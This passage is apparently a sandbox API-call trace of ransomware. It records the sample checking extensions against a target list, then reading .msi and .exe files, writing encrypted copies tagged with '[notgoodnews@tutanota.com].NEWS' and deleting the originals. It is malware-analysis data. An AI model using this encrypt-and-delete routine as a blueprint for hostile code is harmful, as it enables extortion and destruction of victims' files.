lstrlenW (lpString=".xls") returned 4 [0067.936] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0067.936] lstrlenW (lpString=".xlsx") returned 5 [0067.936] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0067.936] lstrlenW (lpString=".ppt") returned 4 [0067.936] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0067.936] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0067.936] lstrlenW (lpString=".zip") returned 4 [0067.936] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0067.936] lstrlenW (lpString=".rar") returned 4 [0067.936] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0067.936] lstrlenW (lpString=".bz2") returned 4 [0067.936] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0067.936] lstrlenW (lpString=".7z") returned 3 [0067.936] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0067.936] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0067.936] lstrlenW (lpString=".dbf") returned 4 [0067.936] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0067.936] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0067.936] lstrlenW (lpString=".1cd") returned 4 [0067.936] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0067.936] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0067.936] lstrlenW (lpString=".jpg") returned 4 [0067.936] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0067.936] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0067.936] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0067.936] lstrlenW (lpString=".doc") returned 4 [0067.936] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0067.936] lstrlenW (lpString=".docx") returned 5 [0067.936] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0067.936] lstrlenW (lpString=".pdf") returned 4 [0067.936] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0067.936] lstrlenW (lpString=".xls") returned 4 [0067.936] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0067.936] lstrlenW (lpString=".xlsx") returned 5 [0067.936] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0067.937] lstrlenW (lpString=".ppt") returned 4 [0067.937] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0067.937] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0067.937] lstrlenW (lpString=".zip") returned 4 [0067.937] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0067.937] lstrlenW (lpString=".rar") returned 4 [0067.937] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0067.937] lstrlenW (lpString=".bz2") returned 4 [0067.937] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0067.937] lstrlenW (lpString=".7z") returned 3 [0067.937] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0067.937] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0067.937] lstrlenW (lpString=".dbf") returned 4 [0067.937] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0067.937] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0067.937] lstrlenW (lpString=".1cd") returned 4 [0067.937] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0067.937] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0067.937] lstrlenW (lpString=".jpg") returned 4 [0067.937] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0067.937] lstrcmpiW (lpString1=".msi", lpString2=".NEWS") returned -1 [0067.937] lstrlenW (lpString="netfx_Extended_x64.msi") returned 22 [0067.937] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0067.939] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=872448) returned 1 [0067.939] CloseHandle (hObject=0x378) returned 1 [0067.939] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi")) returned 0x80 [0067.939] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0067.939] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0067.939] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0067.939] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0067.939] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0067.939] GetLastError () returned 0x0 [0067.939] ReadFile (in: hFile=0x378, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0xd5000, lpOverlapped=0x0) returned 1 [0067.958] WriteFile (in: hFile=0x354, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0xd5010, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0xd5010, lpOverlapped=0x0) returned 1 [0067.974] ReadFile (in: hFile=0x378, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0067.975] WriteFile (in: hFile=0x354, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x100, lpOverlapped=0x0) returned 1 [0067.975] SetEndOfFile (hFile=0x354) returned 1 [0067.975] CloseHandle (hObject=0x354) returned 1 [0068.491] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.491] SetEndOfFile (hFile=0x378) returned 1 [0068.499] CloseHandle (hObject=0x378) returned 1 [0068.499] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0068.500] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi")) returned 1 [0068.500] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0068.500] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0068.500] lstrlenW (lpString=".doc") returned 4 [0068.500] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0068.500] lstrlenW (lpString=".docx") returned 5 [0068.500] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0068.500] lstrlenW (lpString=".pdf") returned 4 [0068.500] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0068.500] lstrlenW (lpString=".xls") returned 4 [0068.500] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0068.500] lstrlenW (lpString=".xlsx") returned 5 [0068.500] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0068.500] lstrlenW (lpString=".ppt") returned 4 [0068.500] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0068.500] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0068.500] lstrlenW (lpString=".zip") returned 4 [0068.500] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0068.500] lstrlenW (lpString=".rar") returned 4 [0068.500] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0068.500] lstrlenW (lpString=".bz2") returned 4 [0068.500] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0068.500] lstrlenW (lpString=".7z") returned 3 [0068.500] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0068.500] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0068.500] lstrlenW (lpString=".dbf") returned 4 [0068.501] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0068.501] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0068.501] lstrlenW (lpString=".1cd") returned 4 [0068.501] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0068.501] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0068.501] lstrlenW (lpString=".jpg") returned 4 [0068.501] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0068.501] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0068.501] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0068.501] lstrlenW (lpString=".doc") returned 4 [0068.501] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0068.501] lstrlenW (lpString=".docx") returned 5 [0068.501] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0068.501] lstrlenW (lpString=".pdf") returned 4 [0068.501] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0068.501] lstrlenW (lpString=".xls") returned 4 [0068.501] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0068.501] lstrlenW (lpString=".xlsx") returned 5 [0068.501] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0068.501] lstrlenW (lpString=".ppt") returned 4 [0068.501] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0068.501] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0068.501] lstrlenW (lpString=".zip") returned 4 [0068.501] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0068.501] lstrlenW (lpString=".rar") returned 4 [0068.501] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0068.501] lstrlenW (lpString=".bz2") returned 4 [0068.501] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0068.501] lstrlenW (lpString=".7z") returned 3 [0068.501] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0068.501] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0068.501] lstrlenW (lpString=".dbf") returned 4 [0068.501] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0068.501] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0068.501] lstrlenW (lpString=".1cd") returned 4 [0068.501] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0068.502] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0068.502] lstrlenW (lpString=".jpg") returned 4 [0068.502] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0068.502] lstrcmpiW (lpString1=".msi", lpString2=".NEWS") returned -1 [0068.502] lstrlenW (lpString="RGB9RAST_x64.msi") returned 16 [0068.502] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0068.502] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=184832) returned 1 [0068.502] CloseHandle (hObject=0x378) returned 1 [0068.502] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi")) returned 0x80 [0068.502] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0068.502] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0068.502] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.502] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.503] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0068.503] GetLastError () returned 0x0 [0068.503] ReadFile (in: hFile=0x378, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x2d200, lpOverlapped=0x0) returned 1 [0068.507] WriteFile (in: hFile=0x354, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x2d210, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x2d210, lpOverlapped=0x0) returned 1 [0068.511] ReadFile (in: hFile=0x378, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0068.511] WriteFile (in: hFile=0x354, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0xf4, lpOverlapped=0x0) returned 1 [0068.511] SetEndOfFile (hFile=0x354) returned 1 [0068.511] CloseHandle (hObject=0x354) returned 1 [0069.093] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0069.093] SetEndOfFile (hFile=0x378) returned 1 [0069.095] CloseHandle (hObject=0x378) returned 1 [0069.095] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0069.096] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi")) returned 1 [0069.096] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0069.096] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0069.096] lstrlenW (lpString=".doc") returned 4 [0069.096] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0069.096] lstrlenW (lpString=".docx") returned 5 [0069.096] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0069.096] lstrlenW (lpString=".pdf") returned 4 [0069.096] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0069.096] lstrlenW (lpString=".xls") returned 4 [0069.096] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0069.096] lstrlenW (lpString=".xlsx") returned 5 [0069.096] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0069.096] lstrlenW (lpString=".ppt") returned 4 [0069.096] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0069.096] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0069.096] lstrlenW (lpString=".zip") returned 4 [0069.096] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0069.096] lstrlenW (lpString=".rar") returned 4 [0069.096] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0069.096] lstrlenW (lpString=".bz2") returned 4 [0069.097] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0069.097] lstrlenW (lpString=".7z") returned 3 [0069.097] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0069.097] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0069.097] lstrlenW (lpString=".dbf") returned 4 [0069.097] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0069.097] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0069.097] lstrlenW (lpString=".1cd") returned 4 [0069.097] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0069.097] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0069.097] lstrlenW (lpString=".jpg") returned 4 [0069.097] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0069.097] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0069.097] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0069.097] lstrlenW (lpString=".doc") returned 4 [0069.097] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0069.097] lstrlenW (lpString=".docx") returned 5 [0069.097] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0069.097] lstrlenW (lpString=".pdf") returned 4 [0069.097] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0069.097] lstrlenW (lpString=".xls") returned 4 [0069.097] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0069.097] lstrlenW (lpString=".xlsx") returned 5 [0069.097] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0069.097] lstrlenW (lpString=".ppt") returned 4 [0069.097] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0069.097] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0069.097] lstrlenW (lpString=".zip") returned 4 [0069.097] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0069.097] lstrlenW (lpString=".rar") returned 4 [0069.097] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0069.097] lstrlenW (lpString=".bz2") returned 4 [0069.097] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0069.097] lstrlenW (lpString=".7z") returned 3 [0069.098] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0069.098] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0069.098] lstrlenW (lpString=".dbf") returned 4 [0069.098] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0069.098] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0069.098] lstrlenW (lpString=".1cd") returned 4 [0069.098] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0069.098] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0069.098] lstrlenW (lpString=".jpg") returned 4 [0069.098] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0069.098] lstrcmpiW (lpString1=".exe", lpString2=".NEWS") returned -1 [0069.098] lstrlenW (lpString="Setup.exe") returned 9 [0069.098] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0069.098] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=78152) returned 1 [0069.098] CloseHandle (hObject=0x378) returned 1 [0069.098] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe")) returned 0x80 [0069.098] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\setup.exe.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0069.098] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0069.099] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0069.099] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0069.099] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\setup.exe.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0069.099] GetLastError () returned 0x0 [0069.100] ReadFile (in: hFile=0x378, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x13148, lpOverlapped=0x0) returned 1 [0069.102] WriteFile (in: hFile=0x354, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x13150, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x13150, lpOverlapped=0x0) returned 1 [0069.104] ReadFile (in: hFile=0x378, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0069.104] WriteFile (in: hFile=0x354, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0xe6, lpOverlapped=0x0) returned 1 [0069.104] SetEndOfFile (hFile=0x354) returned 1 [0069.104] CloseHandle (hObject=0x354) returned 1 [0069.107] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0069.107] SetEndOfFile (hFile=0x378) returned 1 [0069.109] CloseHandle (hObject=0x378) returned 1 [0069.109] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0069.109] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe")) returned 1 [0069.109] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0069.109] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0069.109] lstrlenW (lpString=".doc") returned 4 [0069.109] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0069.109] lstrlenW (lpString=".docx") returned 5 [0069.109] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0069.109] lstrlenW (lpString=".pdf") returned 4 [0069.110] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0069.110] lstrlenW (lpString=".xls") returned 4 [0069.110] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0069.110] lstrlenW (lpString=".xlsx") returned 5 [0069.110] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0069.110] lstrlenW (lpString=".ppt") returned 4 [0069.110] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0069.110] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0069.110] lstrlenW (lpString=".zip") returned 4 [0069.110] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0069.110] lstrlenW (lpString=".rar") returned 4 [0069.110] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0069.110] lstrlenW (lpString=".bz2") returned 4 [0069.110] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0069.110] lstrlenW (lpString=".7z") returned 3 [0069.110] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0069.110] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0069.110] lstrlenW (lpString=".dbf") returned 4 [0069.110] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0069.110] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0069.110] lstrlenW (lpString=".1cd") returned 4 [0069.110] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0069.110] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0069.110] lstrlenW (lpString=".jpg") returned 4 [0069.110] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0069.110] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0069.110] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0069.110] lstrlenW (lpString=".doc") returned 4 [0069.110] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0069.110] lstrlenW (lpString=".docx") returned 5 [0069.110] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0069.110] lstrlenW (lpString=".pdf") returned 4 [0069.110] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0069.110] lstrlenW (lpString=".xls") returned 4 [0069.110] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0069.111] lstrlenW (lpString=".xlsx") returned 5 [0069.111] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0069.111] lstrlenW (lpString=".ppt") returned 4 [0069.111] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0069.111] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0069.111] lstrlenW (lpString=".zip") returned 4 [0069.111] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0069.111] lstrlenW (lpString=".rar") returned 4 [0069.111] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0069.111] lstrlenW (lpString=".bz2") returned 4 [0069.111] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0069.111] lstrlenW (lpString=".7z") returned 3 